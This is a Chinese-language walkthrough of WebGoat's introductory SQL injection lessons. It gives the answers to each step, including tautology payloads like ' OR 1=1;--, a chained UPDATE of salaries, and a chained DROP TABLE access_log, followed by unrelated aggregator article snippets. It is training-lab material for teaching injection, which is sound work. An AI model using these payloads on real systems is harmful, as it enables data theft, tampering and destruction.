WebGoat通关攻略之 SQL Injection (intro)

SQL Injection (intro)

1. What is SQL?

在这里插入图片描述本题练习SQL查询语句,就是写一句SQL获取叫Bob Franco所在的department

SELECT department FROM employees WHERE first_name = 'Bob' AND last_name = 'Franco'

在这里插入图片描述
成功通关!

2. Data Manipulation Language (DML)

在这里插入图片描述
本题练习的是Update 修改数据,将Tobi Barnett的department改为‘Sales

UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'

在这里插入图片描述
成功通关!

3. Data Definition Language (DDL)

在这里插入图片描述
本题练习的是Alter 添加数据,在employees表中添加phone(varchar(20))列

ALTER TABLE employees ADD phone varchar(20)

在这里插入图片描述
成功通关!

4. Data Control Language (DCL)

在这里插入图片描述
本题练习的是数据控制语句,需要授予用户组 “UnauthorizedUser”更改表的权限,在这里,我们可以使用grant授权命令对该用户组进行授权

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;

在这里插入图片描述
成功通关!

5. What is SQL injection?

在这里插入图片描述
练习的是SQL注入
在这里插入图片描述

"SELECT * FROM users WHERE name = 'Smith' OR 1=1;--'";

6. Try It! String SQL injection

在这里插入图片描述
字符串型SQL注入讲解,执行的SQL语句是:

SELECT * FROM use_data WHERE first_name='john' and lastname='Smith or 1=1'

上述SQL语句的意思是:从user_data表中,寻找first_name=‘john’,且last_name='Smith or 1=1’的全部数据,也就是在数据表中,满足条件的一行数据。其中,last_name的内容是由我们控制的。

看到能输入or 1=1,是不是应该有一种使"where"后面出现“xxx or 1=1”的冲动,因为“where xxx or 1=1”这句话,不就跟没得条件一样吗,1=1是恒成立,“xxx or 1=1”恒成立。

那么我们可以这样输入:
在这里插入图片描述
如此填写之后,要执行的SQL语句,就会变成这样:
在这里插入图片描述
红框中的内容都变成了字符串,那么SQL语句就变成了:

SELECT * FROM use_data WHERE first_name=‘XXX’ or ‘1’='1’这种形式,也就是where后面相当于没条件了。提交数据,可以看到:
在这里插入图片描述
成功通关!

7. Try It! Numeric SQL injection

在这里插入图片描述
本题目练习的是数字SQL注入,给SQL语句"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;构建一个动态查询,分析SQL语句,以及实验可知,本题的注入点在user_id

原因:本题使用了SQL预编译语句,但是只对Login_Count做了防护,User_Id还是直接带入参数值,因此只能使用user_id作为注入点组成SQL语句。

SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1 = 1

在这里插入图片描述
成功通关!

8. Compromising confidentiality with String SQL injection

在这里插入图片描述
本题练习的是使用String SQL注入破坏机密性,从employee表中检索所有雇员数据

Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;--

在这里插入图片描述
成功通关!

9. Compromising Integrity with Query chaining

在这里插入图片描述
本题练习的是使用查询链接损害完整性,利用查询链(分号;)破坏数据完整性,也就是修改非授权数据。两个框都可以是注入点

Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;UPDATE employees SET SALARY = 90000 WHERE LAST_NAME = 'Smith';--

在这里插入图片描述
成功通关!

10. Compromising Availability

在这里插入图片描述
本题要利用字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。要求把表access_log删除,因此用DROP TABLE关键字进行操作即可

我们可以先SELECT一下查看表中都有什么:
在这里插入图片描述

3SL99A' OR 1=1;DROP TABLE access_log;--

在这里插入图片描述
成功通关!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/156480.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

畅捷通+数环通iPaaS,实现无代码集成上千款应用

01 关于畅捷通 畅捷通信息化服务专家,为用户提供在线财务软件,云进销存管理软件,移动办公软件,帮助小微企业人、财、货、客的管理,全面服务小微企业并提供社交化、个性化、服务化、小量化的生意管理支持。 企业除了畅捷通,还有大大小小其他的系统,面临着…

安全函数使用及源码

几个常规内存函数经常会使用的怀疑人生,现在整理一下 文章目录 前言一、pandas是什么?二、使用步骤 1.引入库2.读入数据总结 前言 以下对内存函数进行整理。 提示:以下是本篇文章正文内容,下面案例可供参考 一、资源 MSDN网址 …

ESP32踩坑记2-组件链接的未定义

发现问题 开发ESP32的时候,当我使用多个组件的时候,编译的时候出现两个问题 Task/Task_Gui.c:13: undefined reference to lvgl_driver_init’ However, the component manager is not enabled 解决问题1 但是我去找这个文件的时候,发现…

Draft-P802.11be-D3.2协议学习__$36-EHT-PHY__$36.5-Parameters-for-EHT-MCSs

Draft-P802.11be-D3.2协议学习__$36-EHT-PHY__$36.5-Parameters-for-EHT-MCSs 36.3.5 EHT DUP transmission36.3.8 EHT modulation and coding schemes (EHT-MCSs)36.3.9 EHT-SIG modulation and coding schemes (EHT-SIG-MCSs)36.5 Parameters for EHT-MCSs36.5.1 EHT-MCSs fo…

Apache Doris (五十四): Doris Join类型 - Bucket Shuffle Join

🏡 个人主页:IT贫道_大数据OLAP体系技术栈,Apache Doris,Clickhouse 技术-CSDN博客 🚩 私聊博主:加入大数据技术讨论群聊,获取更多大数据资料。 🔔 博主个人B栈地址:豹哥教你大数据的个人空间-豹哥教你大数据个人主页-哔哩哔哩视频 目录

20套面向对象程序设计选题Java Swing(含教程) (三) 持续更新 建议收藏

20套面向对象程序设计选题Java Swing(含教程) (一) 20套面向对象程序设计选题Java Swing(含教程) (二) 9.交通罚单管理系统 点击查看项目演示及教程视频 源码下载 【功能描述】 ​系统有管理员、交警、驾驶员三个角色; 用户登录后可修改密码​; 管…

【Vue全家桶 合集 关注收藏】

【Vue全家桶】全面了解学习并实践总结Vue必备知识点 写在前面 🤗 这里是SuperYi Vue全家桶合集站! 🌻 人海茫茫,感谢这一秒你看到这里。希望我的文章对你的有所帮助! 🌟 愿你在未来的日子,保持…

洗地机选购攻略,洗地机哪个品牌好?一篇教会你挑到好用的洗地机

随着国内生活水平的提高,智能清洁产品的呼声也越来越高,尤其是洗地机,可以说是国内各个品牌的洗地机铺天盖地而来,那么如何挑选洗地机成了很多新手的困惑,别着急,笔者今天就给大家讲讲洗地机! 一、购买洗地…

【STM32外设系列】NRF24L01无线收发模块

🎀 文章作者:二土电子 🌸 关注公众号获取更多资料! 🐸 期待大家一起学习交流! 文章目录 一、NRF24L01简介1.1 什么是NRF24L011.2 NRF24L01引脚介绍1.3 NRF24L01工作模式1.4 NRF24L01的SPI时序1.5 Enhanc…

(C语言)输入一个序列,判断是否为奇偶交叉数

#include <stdio.h> #include <string.h> int main() {char str[50];gets(str);int len,tmp 1;len strlen(str); //获取字符串长度 for (int i 0;i < len-1 ;i ){if((str[i] % 2 0 ) && (str[i1] % 2 ! 0)) //判断先偶数后奇数序列 tmp ;else if((s…

学习笔记5——对象、直接内存、执行引擎,string

学习笔记系列开头惯例发布一些寻亲消息 链接&#xff1a;https://baobeihuijia.com/bbhj/contents/3/192486.html 创建对象的步骤 对象对应的类是否被加载&#xff0c;链接&#xff08;链接到真实的内存地址&#xff09;&#xff0c;初始化&#xff08;类初始化&#xff09;…

三成青少年“不能忍受没有手机”?数字时代家庭教育新责任考验家长

孩子放学回家第一件事就是刷手机&#xff0c;不仅耽误睡觉而且严重影响学习&#xff0c;没收手机后孩子哭闹不止&#xff0c;更无心学习&#xff0c;这样的熊孩子你遇到过没?近日&#xff0c;福建一家长在社区群里晒出自己的烦恼&#xff0c;结果骤然成为热帖&#xff0c;不少…

PON网络应用场景

PON网络主要应用在两个场景&#xff1a; 1.电信运营商FTTx FTTx解决方案覆盖FTTH、FTTB、FTTC、FTTO等建设场景&#xff0c;还能提供基站专线接入在内的高带宽、高可靠、高安全的全业务接入。 提供主要业务包括&#xff1a;50MHDTV业务、企业接入业务、Open Access接入、基站专…

uniapp form表单提交事件手动调用

背景&#xff1a; UI把提交的按钮弄成了图片&#xff0c;之前的button不能用了。 <button form-type"submit">搜索</button> 实现&#xff1a; html&#xff1a; 通过 this.$refs.fd 获取到form的vue对象。手动调用里面的_onSubmit()方法。 methods:…

果葡糖浆产业分析:中国市场产量超过685万吨

果葡糖浆是一种由水果汁或果蓉经过酶解、浓缩制成的糖浆。果葡糖浆广泛应用在食品和饮料行业&#xff0c;食品饮料产业的快速发展下推动着果葡糖浆市场需求进一步释放 果葡糖浆是一种由果糖和葡萄糖组成的混合糖浆&#xff0c;已经成为食品和饮料制造业中广泛使用的甜味剂。尽管…

增删改查mysql

查询 -- 查询表结果-- 查看 当前数据库下的表show tables;-- 查看指定的表desc tb_emp; -- td_emp 是表名-- 查看 数据库的见表语句show create table tb_emp; 修改 -- 修改表结构 -- 修改 为表 tb_emp 添加字段 qq varchar(11) alter table tb_emp add qq varchar(11) …

探索企业主要人员API在金融领域的应用

前言 随着金融科技的不断发展&#xff0c;企业主要人员API在金融领域的应用日益重要。本文将探讨这个话题&#xff0c;并介绍一些关键的应用案例。 企业主要人员API在金融领域的应用 企业人员信息API在金融行业有许多应用。其中一个应用是风险评估。金融机构可以使用API获取…

亚马逊卖家必看:测评补单提升店铺排名和转化率的有效方式

跨境电商平台上成功运营并建立具有竞争力的店铺并不容易。作为一个颇具影响力的平台&#xff0c;亚马逊需要卖家们仔细研究和精心运营。在这里&#xff0c;我们分享一些秘诀&#xff0c;这些秘诀是在自养号过程中总结出来的&#xff0c;有助于增加销量并提升店铺的排名。 首先…

2.c++基础语法

文章目录 1.c 程序结构关键字标识符、操作符、标点预处理指令注释main 主函数命名空间 2.c 变量和常量变量 3.c 数组和容器4.c 程序流程5.c字符和字符串 1.c 程序结构 关键字 关键字事程序保留的&#xff0c;程序员不能使用&#xff0c;c的常见关键字如下图&#xff1a; 标识…

jupyter修改默认打开目录

当我们打开jupyter notebook&#xff08;不管用什么样的方式打开&#xff0c;使用菜单打开或者是命令行打开是一样的&#xff09;会在默认的浏览器中看到这样的界面、 但是每一台不同的电脑打开之后的界面是不同的&#xff0c;仔细观察就会发现&#xff0c;这里面现实的一些文件…
最新文章